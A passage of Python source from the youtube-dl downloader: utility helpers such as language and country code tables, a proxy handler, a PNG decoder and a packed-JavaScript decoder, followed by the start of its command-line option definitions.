        return [command_option + separator + (true_value if param else false_value)]
    return [command_option, true_value if param else false_value]


def cli_valueless_option(params, command_option, param, expected_value=True):
    param = params.get(param)
    return [command_option] if param == expected_value else []


def cli_configuration_args(params, param, default=[]):
    ex_args = params.get(param)
    if ex_args is None:
        return default
    assert isinstance(ex_args, list)
    return ex_args


class ISO639Utils(object):
    # See http://www.loc.gov/standards/iso639-2/ISO-639-2_utf-8.txt
    _lang_map = {
        'aa': 'aar',
        'ab': 'abk',
        'ae': 'ave',
        'af': 'afr',
        'ak': 'aka',
        'am': 'amh',
        'an': 'arg',
        'ar': 'ara',
        'as': 'asm',
        'av': 'ava',
        'ay': 'aym',
        'az': 'aze',
        'ba': 'bak',
        'be': 'bel',
        'bg': 'bul',
        'bh': 'bih',
        'bi': 'bis',
        'bm': 'bam',
        'bn': 'ben',
        'bo': 'bod',
        'br': 'bre',
        'bs': 'bos',
        'ca': 'cat',
        'ce': 'che',
        'ch': 'cha',
        'co': 'cos',
        'cr': 'cre',
        'cs': 'ces',
        'cu': 'chu',
        'cv': 'chv',
        'cy': 'cym',
        'da': 'dan',
        'de': 'deu',
        'dv': 'div',
        'dz': 'dzo',
        'ee': 'ewe',
        'el': 'ell',
        'en': 'eng',
        'eo': 'epo',
        'es': 'spa',
        'et': 'est',
        'eu': 'eus',
        'fa': 'fas',
        'ff': 'ful',
        'fi': 'fin',
        'fj': 'fij',
        'fo': 'fao',
        'fr': 'fra',
        'fy': 'fry',
        'ga': 'gle',
        'gd': 'gla',
        'gl': 'glg',
        'gn': 'grn',
        'gu': 'guj',
        'gv': 'glv',
        'ha': 'hau',
        'he': 'heb',
        'hi': 'hin',
        'ho': 'hmo',
        'hr': 'hrv',
        'ht': 'hat',
        'hu': 'hun',
        'hy': 'hye',
        'hz': 'her',
        'ia': 'ina',
        'id': 'ind',
        'ie': 'ile',
        'ig': 'ibo',
        'ii': 'iii',
        'ik': 'ipk',
        'io': 'ido',
        'is': 'isl',
        'it': 'ita',
        'iu': 'iku',
        'ja': 'jpn',
        'jv': 'jav',
        'ka': 'kat',
        'kg': 'kon',
        'ki': 'kik',
        'kj': 'kua',
        'kk': 'kaz',
        'kl': 'kal',
        'km': 'khm',
        'kn': 'kan',
        'ko': 'kor',
        'kr': 'kau',
        'ks': 'kas',
        'ku': 'kur',
        'kv': 'kom',
        'kw': 'cor',
        'ky': 'kir',
        'la': 'lat',
        'lb': 'ltz',
        'lg': 'lug',
        'li': 'lim',
        'ln': 'lin',
        'lo': 'lao',
        'lt': 'lit',
        'lu': 'lub',
        'lv': 'lav',
        'mg': 'mlg',
        'mh': 'mah',
        'mi': 'mri',
        'mk': 'mkd',
        'ml': 'mal',
        'mn': 'mon',
        'mr': 'mar',
        'ms': 'msa',
        'mt': 'mlt',
        'my': 'mya',
        'na': 'nau',
        'nb': 'nob',
        'nd': 'nde',
        'ne': 'nep',
        'ng': 'ndo',
        'nl': 'nld',
        'nn': 'nno',
        'no': 'nor',
        'nr': 'nbl',
        'nv': 'nav',
        'ny': 'nya',
        'oc': 'oci',
        'oj': 'oji',
        'om': 'orm',
        'or': 'ori',
        'os': 'oss',
        'pa': 'pan',
        'pi': 'pli',
        'pl': 'pol',
        'ps': 'pus',
        'pt': 'por',
        'qu': 'que',
        'rm': 'roh',
        'rn': 'run',
        'ro': 'ron',
        'ru': 'rus',
        'rw': 'kin',
        'sa': 'san',
        'sc': 'srd',
        'sd': 'snd',
        'se': 'sme',
        'sg': 'sag',
        'si': 'sin',
        'sk': 'slk',
        'sl': 'slv',
        'sm': 'smo',
        'sn': 'sna',
        'so': 'som',
        'sq': 'sqi',
        'sr': 'srp',
        'ss': 'ssw',
        'st': 'sot',
        'su': 'sun',
        'sv': 'swe',
        'sw': 'swa',
        'ta': 'tam',
        'te': 'tel',
        'tg': 'tgk',
        'th': 'tha',
        'ti': 'tir',
        'tk': 'tuk',
        'tl': 'tgl',
        'tn': 'tsn',
        'to': 'ton',
        'tr': 'tur',
        'ts': 'tso',
        'tt': 'tat',
        'tw': 'twi',
        'ty': 'tah',
        'ug': 'uig',
        'uk': 'ukr',
        'ur': 'urd',
        'uz': 'uzb',
        've': 'ven',
        'vi': 'vie',
        'vo': 'vol',
        'wa': 'wln',
        'wo': 'wol',
        'xh': 'xho',
        'yi': 'yid',
        'yo': 'yor',
        'za': 'zha',
        'zh': 'zho',
        'zu': 'zul',
    }

    @classmethod
    def short2long(cls, code):
        """Convert language code from ISO 639-1 to ISO 639-2/T"""
        return cls._lang_map.get(code[:2])

    @classmethod
    def long2short(cls, code):
        """Convert language code from ISO 639-2/T to ISO 639-1"""
        for short_name, long_name in cls._lang_map.items():
            if long_name == code:
                return short_name


class ISO3166Utils(object):
    # From http://data.okfn.org/data/core/country-list
    _country_map = {
        'AF': 'Afghanistan',
        'AX': 'Åland Islands',
        'AL': 'Albania',
        'DZ': 'Algeria',
        'AS': 'American Samoa',
        'AD': 'Andorra',
        'AO': 'Angola',
        'AI': 'Anguilla',
        'AQ': 'Antarctica',
        'AG': 'Antigua and Barbuda',
        'AR': 'Argentina',
        'AM': 'Armenia',
        'AW': 'Aruba',
        'AU': 'Australia',
        'AT': 'Austria',
        'AZ': 'Azerbaijan',
        'BS': 'Bahamas',
        'BH': 'Bahrain',
        'BD': 'Bangladesh',
        'BB': 'Barbados',
        'BY': 'Belarus',
        'BE': 'Belgium',
        'BZ': 'Belize',
        'BJ': 'Benin',
        'BM': 'Bermuda',
        'BT': 'Bhutan',
        'BO': 'Bolivia, Plurinational State of',
        'BQ': 'Bonaire, Sint Eustatius and Saba',
        'BA': 'Bosnia and Herzegovina',
        'BW': 'Botswana',
        'BV': 'Bouvet Island',
        'BR': 'Brazil',
        'IO': 'British Indian Ocean Territory',
        'BN': 'Brunei Darussalam',
        'BG': 'Bulgaria',
        'BF': 'Burkina Faso',
        'BI': 'Burundi',
        'KH': 'Cambodia',
        'CM': 'Cameroon',
        'CA': 'Canada',
        'CV': 'Cape Verde',
        'KY': 'Cayman Islands',
        'CF': 'Central African Republic',
        'TD': 'Chad',
        'CL': 'Chile',
        'CN': 'China',
        'CX': 'Christmas Island',
        'CC': 'Cocos (Keeling) Islands',
        'CO': 'Colombia',
        'KM': 'Comoros',
        'CG': 'Congo',
        'CD': 'Congo, the Democratic Republic of the',
        'CK': 'Cook Islands',
        'CR': 'Costa Rica',
        'CI': 'Côte d\'Ivoire',
        'HR': 'Croatia',
        'CU': 'Cuba',
        'CW': 'Curaçao',
        'CY': 'Cyprus',
        'CZ': 'Czech Republic',
        'DK': 'Denmark',
        'DJ': 'Djibouti',
        'DM': 'Dominica',
        'DO': 'Dominican Republic',
        'EC': 'Ecuador',
        'EG': 'Egypt',
        'SV': 'El Salvador',
        'GQ': 'Equatorial Guinea',
        'ER': 'Eritrea',
        'EE': 'Estonia',
        'ET': 'Ethiopia',
        'FK': 'Falkland Islands (Malvinas)',
        'FO': 'Faroe Islands',
        'FJ': 'Fiji',
        'FI': 'Finland',
        'FR': 'France',
        'GF': 'French Guiana',
        'PF': 'French Polynesia',
        'TF': 'French Southern Territories',
        'GA': 'Gabon',
        'GM': 'Gambia',
        'GE': 'Georgia',
        'DE': 'Germany',
        'GH': 'Ghana',
        'GI': 'Gibraltar',
        'GR': 'Greece',
        'GL': 'Greenland',
        'GD': 'Grenada',
        'GP': 'Guadeloupe',
        'GU': 'Guam',
        'GT': 'Guatemala',
        'GG': 'Guernsey',
        'GN': 'Guinea',
        'GW': 'Guinea-Bissau',
        'GY': 'Guyana',
        'HT': 'Haiti',
        'HM': 'Heard Island and McDonald Islands',
        'VA': 'Holy See (Vatican City State)',
        'HN': 'Honduras',
        'HK': 'Hong Kong',
        'HU': 'Hungary',
        'IS': 'Iceland',
        'IN': 'India',
        'ID': 'Indonesia',
        'IR': 'Iran, Islamic Republic of',
        'IQ': 'Iraq',
        'IE': 'Ireland',
        'IM': 'Isle of Man',
        'IL': 'Israel',
        'IT': 'Italy',
        'JM': 'Jamaica',
        'JP': 'Japan',
        'JE': 'Jersey',
        'JO': 'Jordan',
        'KZ': 'Kazakhstan',
        'KE': 'Kenya',
        'KI': 'Kiribati',
        'KP': 'Korea, Democratic People\'s Republic of',
        'KR': 'Korea, Republic of',
        'KW': 'Kuwait',
        'KG': 'Kyrgyzstan',
        'LA': 'Lao People\'s Democratic Republic',
        'LV': 'Latvia',
        'LB': 'Lebanon',
        'LS': 'Lesotho',
        'LR': 'Liberia',
        'LY': 'Libya',
        'LI': 'Liechtenstein',
        'LT': 'Lithuania',
        'LU': 'Luxembourg',
        'MO': 'Macao',
        'MK': 'Macedonia, the Former Yugoslav Republic of',
        'MG': 'Madagascar',
        'MW': 'Malawi',
        'MY': 'Malaysia',
        'MV': 'Maldives',
        'ML': 'Mali',
        'MT': 'Malta',
        'MH': 'Marshall Islands',
        'MQ': 'Martinique',
        'MR': 'Mauritania',
        'MU': 'Mauritius',
        'YT': 'Mayotte',
        'MX': 'Mexico',
        'FM': 'Micronesia, Federated States of',
        'MD': 'Moldova, Republic of',
        'MC': 'Monaco',
        'MN': 'Mongolia',
        'ME': 'Montenegro',
        'MS': 'Montserrat',
        'MA': 'Morocco',
        'MZ': 'Mozambique',
        'MM': 'Myanmar',
        'NA': 'Namibia',
        'NR': 'Nauru',
        'NP': 'Nepal',
        'NL': 'Netherlands',
        'NC': 'New Caledonia',
        'NZ': 'New Zealand',
        'NI': 'Nicaragua',
        'NE': 'Niger',
        'NG': 'Nigeria',
        'NU': 'Niue',
        'NF': 'Norfolk Island',
        'MP': 'Northern Mariana Islands',
        'NO': 'Norway',
        'OM': 'Oman',
        'PK': 'Pakistan',
        'PW': 'Palau',
        'PS': 'Palestine, State of',
        'PA': 'Panama',
        'PG': 'Papua New Guinea',
        'PY': 'Paraguay',
        'PE': 'Peru',
        'PH': 'Philippines',
        'PN': 'Pitcairn',
        'PL': 'Poland',
        'PT': 'Portugal',
        'PR': 'Puerto Rico',
        'QA': 'Qatar',
        'RE': 'Réunion',
        'RO': 'Romania',
        'RU': 'Russian Federation',
        'RW': 'Rwanda',
        'BL': 'Saint Barthélemy',
        'SH': 'Saint Helena, Ascension and Tristan da Cunha',
        'KN': 'Saint Kitts and Nevis',
        'LC': 'Saint Lucia',
        'MF': 'Saint Martin (French part)',
        'PM': 'Saint Pierre and Miquelon',
        'VC': 'Saint Vincent and the Grenadines',
        'WS': 'Samoa',
        'SM': 'San Marino',
        'ST': 'Sao Tome and Principe',
        'SA': 'Saudi Arabia',
        'SN': 'Senegal',
        'RS': 'Serbia',
        'SC': 'Seychelles',
        'SL': 'Sierra Leone',
        'SG': 'Singapore',
        'SX': 'Sint Maarten (Dutch part)',
        'SK': 'Slovakia',
        'SI': 'Slovenia',
        'SB': 'Solomon Islands',
        'SO': 'Somalia',
        'ZA': 'South Africa',
        'GS': 'South Georgia and the South Sandwich Islands',
        'SS': 'South Sudan',
        'ES': 'Spain',
        'LK': 'Sri Lanka',
        'SD': 'Sudan',
        'SR': 'Suriname',
        'SJ': 'Svalbard and Jan Mayen',
        'SZ': 'Swaziland',
        'SE': 'Sweden',
        'CH': 'Switzerland',
        'SY': 'Syrian Arab Republic',
        'TW': 'Taiwan, Province of China',
        'TJ': 'Tajikistan',
        'TZ': 'Tanzania, United Republic of',
        'TH': 'Thailand',
        'TL': 'Timor-Leste',
        'TG': 'Togo',
        'TK': 'Tokelau',
        'TO': 'Tonga',
        'TT': 'Trinidad and Tobago',
        'TN': 'Tunisia',
        'TR': 'Turkey',
        'TM': 'Turkmenistan',
        'TC': 'Turks and Caicos Islands',
        'TV': 'Tuvalu',
        'UG': 'Uganda',
        'UA': 'Ukraine',
        'AE': 'United Arab Emirates',
        'GB': 'United Kingdom',
        'US': 'United States',
        'UM': 'United States Minor Outlying Islands',
        'UY': 'Uruguay',
        'UZ': 'Uzbekistan',
        'VU': 'Vanuatu',
        'VE': 'Venezuela, Bolivarian Republic of',
        'VN': 'Viet Nam',
        'VG': 'Virgin Islands, British',
        'VI': 'Virgin Islands, U.S.',
        'WF': 'Wallis and Futuna',
        'EH': 'Western Sahara',
        'YE': 'Yemen',
        'ZM': 'Zambia',
        'ZW': 'Zimbabwe',
    }

    @classmethod
    def short2full(cls, code):
        """Convert an ISO 3166-2 country code to the corresponding full name"""
        return cls._country_map.get(code.upper())


class PerRequestProxyHandler(compat_urllib_request.ProxyHandler):
    def __init__(self, proxies=None):
        # Set default handlers
        for type in ('http', 'https'):
            setattr(self, '%s_open' % type,
                    lambda r, proxy='__noproxy__', type=type, meth=self.proxy_open:
                        meth(r, proxy, type))
        return compat_urllib_request.ProxyHandler.__init__(self, proxies)

    def proxy_open(self, req, proxy, type):
        req_proxy = req.headers.get('Ytdl-request-proxy')
        if req_proxy is not None:
            proxy = req_proxy
            del req.headers['Ytdl-request-proxy']

        if proxy == '__noproxy__':
            return None  # No Proxy
        if compat_urlparse.urlparse(proxy).scheme.lower() in ('socks', 'socks4', 'socks4a', 'socks5'):
            req.add_header('Ytdl-socks-proxy', proxy)
            # youtube-dl's http/https handlers do wrapping the socket with socks
            return None
        return compat_urllib_request.ProxyHandler.proxy_open(
            self, req, proxy, type)


def ohdave_rsa_encrypt(data, exponent, modulus):
    '''
    Implement OHDave's RSA algorithm. See http://www.ohdave.com/rsa/

    Input:
        data: data to encrypt, bytes-like object
        exponent, modulus: parameter e and N of RSA algorithm, both integer
    Output: hex string of encrypted data

    Limitation: supports one block encryption only
    '''

    payload = int(binascii.hexlify(data[::-1]), 16)
    encrypted = pow(payload, exponent, modulus)
    return '%x' % encrypted


def encode_base_n(num, n, table=None):
    FULL_TABLE = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    if not table:
        table = FULL_TABLE[:n]

    if n > len(table):
        raise ValueError('base %d exceeds table length %d' % (n, len(table)))

    if num == 0:
        return table[0]

    ret = ''
    while num:
        ret = table[num % n] + ret
        num = num // n
    return ret


def decode_packed_codes(code):
    mobj = re.search(
        r"}\('(.+)',(\d+),(\d+),'([^']+)'\.split\('\|'\)",
        code)
    obfucasted_code, base, count, symbols = mobj.groups()
    base = int(base)
    count = int(count)
    symbols = symbols.split('|')
    symbol_table = {}

    while count:
        count -= 1
        base_n_count = encode_base_n(count, base)
        symbol_table[base_n_count] = symbols[count] or base_n_count

    return re.sub(
        r'\b(\w+)\b', lambda mobj: symbol_table[mobj.group(0)],
        obfucasted_code)


def parse_m3u8_attributes(attrib):
    info = {}
    for (key, val) in re.findall(r'(?P<key>[A-Z0-9-]+)=(?P<val>"[^"]+"|[^",]+)(?:,|$)', attrib):
        if val.startswith('"'):
            val = val[1:-1]
        info[key] = val
    return info


def urshift(val, n):
    return val >> n if val >= 0 else (val + 0x100000000) >> n


# Based on png2str() written by @gdkchan and improved by @yokrysty
# Originally posted at https://github.com/rg3/youtube-dl/issues/9706
def decode_png(png_data):
    # Reference: https://www.w3.org/TR/PNG/
    header = png_data[8:]

    if png_data[:8] != b'\x89PNG\x0d\x0a\x1a\x0a' or header[4:8] != b'IHDR':
        raise IOError('Not a valid PNG file.')

    int_map = {1: '>B', 2: '>H', 4: '>I'}
    unpack_integer = lambda x: compat_struct_unpack(int_map[len(x)], x)[0]

    chunks = []

    while header:
        length = unpack_integer(header[:4])
        header = header[4:]

        chunk_type = header[:4]
        header = header[4:]

        chunk_data = header[:length]
        header = header[length:]

        header = header[4:]  # Skip CRC

        chunks.append({
            'type': chunk_type,
            'length': length,
            'data': chunk_data
        })

    ihdr = chunks[0]['data']

    width = unpack_integer(ihdr[:4])
    height = unpack_integer(ihdr[4:8])

    idat = b''

    for chunk in chunks:
        if chunk['type'] == b'IDAT':
            idat += chunk['data']

    if not idat:
        raise IOError('Unable to read PNG data.')

    decompressed_data = bytearray(zlib.decompress(idat))

    stride = width * 3
    pixels = []

    def _get_pixel(idx):
        x = idx % stride
        y = idx // stride
        return pixels[y][x]

    for y in range(height):
        basePos = y * (1 + stride)
        filter_type = decompressed_data[basePos]

        current_row = []

        pixels.append(current_row)

        for x in range(stride):
            color = decompressed_data[1 + basePos + x]
            basex = y * stride + x
            left = 0
            up = 0

            if x > 2:
                left = _get_pixel(basex - 3)
            if y > 0:
                up = _get_pixel(basex - stride)

            if filter_type == 1:  # Sub
                color = (color + left) & 0xff
            elif filter_type == 2:  # Up
                color = (color + up) & 0xff
            elif filter_type == 3:  # Average
                color = (color + ((left + up) >> 1)) & 0xff
            elif filter_type == 4:  # Paeth
                a = left
                b = up
                c = 0

                if x > 2 and y > 0:
                    c = _get_pixel(basex - stride - 3)

                p = a + b - c

                pa = abs(p - a)
                pb = abs(p - b)
                pc = abs(p - c)

                if pa <= pb and pa <= pc:
                    color = (color + a) & 0xff
                elif pb <= pc:
                    color = (color + b) & 0xff
                else:
                    color = (color + c) & 0xff

            current_row.append(color)

    return width, height, pixels






from __future__ import unicode_literals

import os.path
import optparse
import re
import sys

from .downloader.external import list_external_downloaders
from .compat import (
    compat_expanduser,
    compat_get_terminal_size,
    compat_getenv,
    compat_kwargs,
    compat_shlex_split,
)
from .utils import (
    preferredencoding,
    write_string,
)
from .version import __version__


def parseOpts(overrideArguments=None):
    def _readOptions(filename_bytes, default=[]):
        try:
            optionf = open(filename_bytes)
        except IOError:
            return default  # silently skip if file is not present
        try:
            # FIXME: https://github.com/rg3/youtube-dl/commit/dfe5fa49aed02cf36ba9f743b11b0903554b5e56
            contents = optionf.read()
            if sys.version_info < (3,):
                contents = contents.decode(preferredencoding())
            res = compat_shlex_split(contents, comments=True)
        finally:
            optionf.close()
        return res

    def _readUserConf():
        xdg_config_home = compat_getenv('XDG_CONFIG_HOME')
        if xdg_config_home:
            userConfFile = os.path.join(xdg_config_home, 'youtube-dl', 'config')
            if not os.path.isfile(userConfFile):
                userConfFile = os.path.join(xdg_config_home, 'youtube-dl.conf')
        else:
            userConfFile = os.path.join(compat_expanduser('~'), '.config', 'youtube-dl', 'config')
            if not os.path.isfile(userConfFile):
                userConfFile = os.path.join(compat_expanduser('~'), '.config', 'youtube-dl.conf')
        userConf = _readOptions(userConfFile, None)

        if userConf is None:
            appdata_dir = compat_getenv('appdata')
            if appdata_dir:
                userConf = _readOptions(
                    os.path.join(appdata_dir, 'youtube-dl', 'config'),
                    default=None)
                if userConf is None:
                    userConf = _readOptions(
                        os.path.join(appdata_dir, 'youtube-dl', 'config.txt'),
                        default=None)

        if userConf is None:
            userConf = _readOptions(
                os.path.join(compat_expanduser('~'), 'youtube-dl.conf'),
                default=None)
        if userConf is None:
            userConf = _readOptions(
                os.path.join(compat_expanduser('~'), 'youtube-dl.conf.txt'),
                default=None)

        if userConf is None:
            userConf = []

        return userConf

    def _format_option_string(option):
        ''' ('-o', '--option') -> -o, --format METAVAR'''

        opts = []

        if option._short_opts:
            opts.append(option._short_opts[0])
        if option._long_opts:
            opts.append(option._long_opts[0])
        if len(opts) > 1:
            opts.insert(1, ', ')

        if option.takes_value():
            opts.append(' %s' % option.metavar)

        return ''.join(opts)

    def _comma_separated_values_options_callback(option, opt_str, value, parser):
        setattr(parser.values, option.dest, value.split(','))

    def _hide_login_info(opts):
        PRIVATE_OPTS = ['-p', '--password', '-u', '--username', '--video-password']
        eqre = re.compile('^(?P<key>' + ('|'.join(re.escape(po) for po in PRIVATE_OPTS)) + ')=.+$')

        def _scrub_eq(o):
            m = eqre.match(o)
            if m:
                return m.group('key') + '=PRIVATE'
            else:
                return o

        opts = list(map(_scrub_eq, opts))
        for private_opt in PRIVATE_OPTS:
            try:
                i = opts.index(private_opt)
                opts[i + 1] = 'PRIVATE'
            except ValueError:
                pass
        return opts

    # No need to wrap help messages if we're on a wide console
    columns = compat_get_terminal_size().columns
    max_width = columns if columns else 80
    max_help_position = 80

    fmt = optparse.IndentedHelpFormatter(width=max_width, max_help_position=max_help_position)
    fmt.format_option_strings = _format_option_string

    kw = {
        'version': __version__,
        'formatter': fmt,
        'usage': '%prog [OPTIONS] URL [URL...]',
        'conflict_handler': 'resolve',
    }

    parser = optparse.OptionParser(**compat_kwargs(kw))

    general = optparse.OptionGroup(parser, 'General Options')
    general.add_option(
        '-h', '--help',
        action='help',
        help='Print this help text and exit')
    general.add_option(
        '-v', '--version',
        action='version',
        help='Print program version and exit')
    general.add_option(
        '-U', '--update',
        action='store_true', dest='update_self',
        help='Update this program to latest version. Make sure that you have sufficient permissions (run with sudo if needed)')
    general.add_option(
        '-i', '--ignore-errors',
        action='store_true', dest='ignoreerrors', default=False,
        help='Continue on download errors, for example to skip unavailable videos in a playlist')
    general.add_option(
        '--abort-on-error',
        action='store_false', dest='ignoreerrors',
        help='Abort downloading of further videos (in the playlist or the command line) if an error occurs')
    general.add_option(
        '--dump-user-agent',
        action='store_true', dest='dump_user_agent', default=False,
        help='Display the current browser identification')
    general.add_option(
        '--list-extractors',
        action='store_true', dest='list_extractors', default=False,
        help='List all supported extractors')
    general.add_option(
        '--extractor-descriptions',
        action='store_true', dest='list_extractor_descriptions', default=False,
        help='Output descriptions of all supported extractors')
    general.add_option(
        '--force-generic-extractor',
        action='store_true', dest='force_generic_extractor', default=False,
        help='Force extraction to use the generic extractor')
    general.add_option(
        '--default-search',
        dest='default_search', metavar='PREFIX',
        help='Use this prefix for unqualified URLs. For example "gvsearch2:" downloads two videos from google videos for youtube-dl "large apple". Use the value "auto" to let youtube-dl guess ("auto_warning" to emit a warning when guessing). "error" just throws an error. The default value "fixup_error" repairs broken URLs, but emits an error if this is not possible instead of searching.')
    general.add_option(
        '--ignore-config',
        action='store_true',
        help='Do not read configuration files. '
        'When given in the global configuration file /etc/youtube-dl.conf: '
        'Do not read the user configuration in ~/.config/youtube-dl/config '
        '(%APPDATA%/youtube-dl/config.txt on Windows)')
    general.add_option(
        '--flat-playlist',
        action='store_const', dest='extract_flat', const='in_playlist',
        default=False,
        help='Do not extract the videos of a playlist, only list them.')
    general.add_option(
        '--mark-watched',
        action='store_true', dest='mark_watched', default=False,
        help='Mark videos watched (YouTube only)')
    general.add_option(
        '--no-mark-watched',
        action='store_false', dest='mark_watched', default=False,
        help='Do not mark videos watched (YouTube only)')
    general.add_option(
        '--no-color', '--no-colors',
        action='store_true', dest='no_color',
        default=False,
        help='Do not emit color codes in output')

    network = optparse.OptionGroup(parser, 'Network Options')
    network.add_option(
        '--proxy', dest='proxy',
        default=None, metavar='URL',
        help='Use the specified HTTP/HTTPS/SOCKS proxy. To enable experimental '
             'SOCKS proxy, specify a proper scheme. For example '
             'socks5://127.0.0.1:1080/. Pass in an empty string (--proxy "") '
             'for direct connection')
    network.add_option(
        '--socket-timeout',
        dest='socket_timeout', type=float, default=None, metavar='SECONDS',
        help='Time to wait before giving up, in seconds')
    network.add_option(
        '--source-address',
        metavar='IP', dest='source_address', default=None,
        help='Client-side IP address to bind to (experimental)',
    )
    network.add_option(
        '-4', '--force-ipv4',
        action='store_const', const='0.0.0.0', dest='source_address',
        help='Make all connections via IPv4 (experimental)',
    )
    network.add_option(
        '-6', '--force-ipv6',
        action='store_const', const='::', dest='source_address',
        help='Make all connections via IPv6 (experimental)',
    )
    network.add_option(
        '--geo-verification-proxy',
        dest='geo_verification_proxy', default=None, metavar='URL',
        help='Use this proxy to verify the IP address for some geo-restricted sites. '
        'The default proxy specified by --proxy (or none, if the options is not present) is used for the actual downloading. (experimental)'
    )
    network.add_option(
        '--cn-verification-proxy',
        dest='cn_verification_proxy', default=None, metavar='URL',
        help=optparse.SUPPRESS_HELP,
    )

    selection = optparse.OptionGroup(parser, 'Video Selection')
    selection.add_option(
        '--playlist-start',
        dest='playliststart', metavar='NUMBER', default=1, type=int,
        help='Playlist video to start at (default is %default)')
    selection.add_option(
        '--playlist-end',
        dest='playlistend', metavar='NUMBER', default=None, type=int,
        help='Playlist video to end at (default is last)')
    selection.add_option(
        '--playlist-items',
        dest='playlist_items', metavar='ITEM_SPEC', default=None,
        help='Playlist video items to download. Specify indices of the videos in the playlist separated by commas like: "--playlist-items 1,2,5,8" if you want to download videos indexed 1, 2, 5, 8 in the playlist. You can specify range: "--playlist-items 1-3,7,10-13", it will download the videos at index 1, 2, 3, 7, 10, 11, 12 and 13.')
    selection.add_option(
        '--match-title',
        dest='matchtitle', metavar='REGEX',
        help='Download only matching titles (regex or caseless sub-string)')
    selection.add_option(
        '--reject-title',
        dest='rejecttitle', metavar='REGEX',
        help='Skip download for matching titles (regex or caseless sub-string)')
    selection.add_option(
        '--max-downloads',
        dest='max_downloads', metavar='NUMBER', type=int, default=None,
        help='Abort after downloading NUMBER files')
    selection.add_option(
        '--min-filesize',
        metavar='SIZE', dest='min_filesize', default=None,
        help='Do not download any videos smaller than SIZE (e.g. 50k or 44.6m)')
    selection.add_option(
        '--max-filesize',
        metavar='SIZE', dest='max_filesize', default=None,
        help='Do not download any videos larger than SIZE (e.g. 50k or 44.6m)')
    selection.add_option(
        '--date',
        metavar='DATE', dest='date', default=None,
        help='Download only videos uploaded in this date')
    selection.add_option(
        '--datebefore',
        metavar='DATE', dest='datebefore', default=None,
        help='Download only videos uploaded on or before this date (i.e. inclusive)')
    selection.add_option(
        '--dateafter',
        metavar='DATE', dest='dateafter', default=None,
        help='Download only videos uploaded on or after this date (i.e. inclusive)')
    selection.add_option(
        '--min-views',
        metavar='COUNT', dest='min_views', default=None, type=int,
        help='Do not download any videos with less than COUNT views')
    selection.add_option(
        '--max-views',
        metavar='COUNT', dest='max_views', default=None, type=int,
        help='Do not download any videos with more than COUNT views')
    selection.add_option(
        '--match-filter',
        metavar='FILTER', dest='match_filter', default=None,
        help=(
            'Generic video filter (experimental). '
            'Specify any key (see help for -o for a list of available keys) to'
            ' match if the key is present, '
            '!key to check if the key is not present,'
            'key > NUMBER (like "comment_count > 12", also works with '
            '>=, <, <=, !=, =) to compare against a number, and '
            '& to require multiple matches. '
            'Values which are not known are excluded unless you'
            ' put a question mark (?) after the operator.'
            'For example, to only match videos that have been liked more than '
            '100 times and disliked less than 50 times (or the dislike '
            'functionality is not available at the given service), but who '
            'also have a description, use --match-filter '
            '"like_count > 100 & dislike_count <? 50 & description" .'
        ))
    selection.add_option(
        '--no-playlist',
        action='store_true', dest='noplaylist', default=False,
        help='Download only the video, if the URL refers to a video and a playlist.')
    selection.add_option(
        '--yes-playlist',
        action='store_false', dest='noplaylist', default=False,
        help='Download the playlist, if the URL refers to a video and a playlist.')
    selection.add_option(
        '--age-limit',
        metavar='YEARS', dest='age_limit', default=None, type=int,
        help='Download only videos suitable for the given age')
    selection.add_option(
        '--download-archive', metavar='FILE',
        dest='download_archive',
        help='Download only videos not listed in the archive file. Record the IDs of all downloaded videos in it.')
    selection.add_option(
        '--include-ads',
        dest='include_ads', action='store_true',
        help='Download advertisements as well (experimental)')

    authentication = optparse.OptionGroup(parser, 'Authentication Options')
    authentication.add_option(
        '-u', '--username',
        dest='username', metavar='USERNAME',
        help='Login with this account ID')
    authentication.add_option(
        '-p', '--password',
        dest='password', metavar='PASSWORD',
        help='Account password. If this option is left out, youtube-dl will ask interactively.')
    authentication.add_option(
        '-2', '--twofactor',
        dest='twofactor', metavar='TWOFACTOR',
        help='Two-factor auth code')
    authentication.add_option(
        '-n', '--netrc',
        action='store_true', dest='usenetrc', default=False,
        help='Use .netrc authentication data')
    authentication.add_option(
        '--video-password',
        dest='videopassword', metavar='PASSWORD',
        help='Video password (vimeo, smotri, youku)')

    video_format = optparse.OptionGroup(parser, 'Video Format Options')
    video_format.add_option(
        '-f', '--format',
        action='store', dest='format', metavar='FORMAT', default=None,
        help='Video format code, see the "FORMAT SELECTION" for all the info')
    video_format.add_option(
        '--all-formats',
        action='store_const', dest='format', const='all',
        help='Download all available video formats')
    video_format.add_option(
        '--prefer-free-formats',
        action='store_true', dest='prefer_free_formats', default=False,
        help='Prefer free video formats unless a specific one is requested')
    video_format.add_option(
        '-F', '--list-formats',
        action='store_true', dest='listformats',
        help='List all available formats of requested videos')
    video_format.add_option(
        '--youtube-include-dash-manifest',
        action='store_true', dest='youtube_include_dash_manifest', default=True,
        help=optparse.SUPPRESS_HELP)
    video_format.add_option(
        '--youtube-skip-dash-manifest',
        action='store_false', dest='youtube_include_dash_manifest',
        help='Do not download the DASH manifests and related data on YouTube videos')
    video_format.add_option(
        '--merge-output-format',
        action='store', dest='merge_output_format', metavar='FORMAT', default=None,
        help=(
            'If a merge is required (e.g. bestvideo+bestaudio), '
            'output to given container format. One of mkv, mp4, ogg, webm, flv. '
            'Ignored if no merge is required'))

    subtitles = optparse.OptionGroup(parser, 'Subtitle Options')
    subtitles.add_option(
        '--write-sub', '--write-srt',
        action='store_true', dest='writesubtitles', default=False,
        help='Write subtitle file')
    subtitles.add_option(
        '--write-auto-sub', '--write-automatic-sub',
        action='store_true', dest='writeautomaticsub', default=False,
        help='Write automatically generated subtitle file (YouTube only)')
    subtitles.add_option(
        '--all-subs',
        action='store_true', dest='allsubtitles', default=False,
        help='Download all the available subtitles of the video')
    subtitles.add_option(
        '--list-subs',
        action='store_true', dest='listsubtitles', default=False,
        help='List all available subtitles for the video')
    subtitles.add_option(
        '--sub-format',
        action='store', dest='subtitlesformat', metavar='FORMAT', default='best',
        help='Subtitle format, accepts formats preference, for example: "srt" or "ass/srt/best"')
    subtitles.add_option(
        '--sub-lang', '--sub-langs', '--srt-lang',
        action='callback', dest='subtitleslangs', metavar='LANGS', type='str',
        default=[], callback=_comma_separated_values_options_callback,
        help='Languages of the subtitles to download (optional) separated by commas, use --list-subs for available language tags')

    downloader = optparse.OptionGroup(parser, 'Download Options')
    downloader.add_option(
        '-r', '--limit-rate', '--rate-limit',
        dest='ratelimit', metavar='RATE',
        help='Maximum download rate in bytes per second (e.g. 50K or 4.2M)')
    downloader.add_option(
        '-R', '--retries',
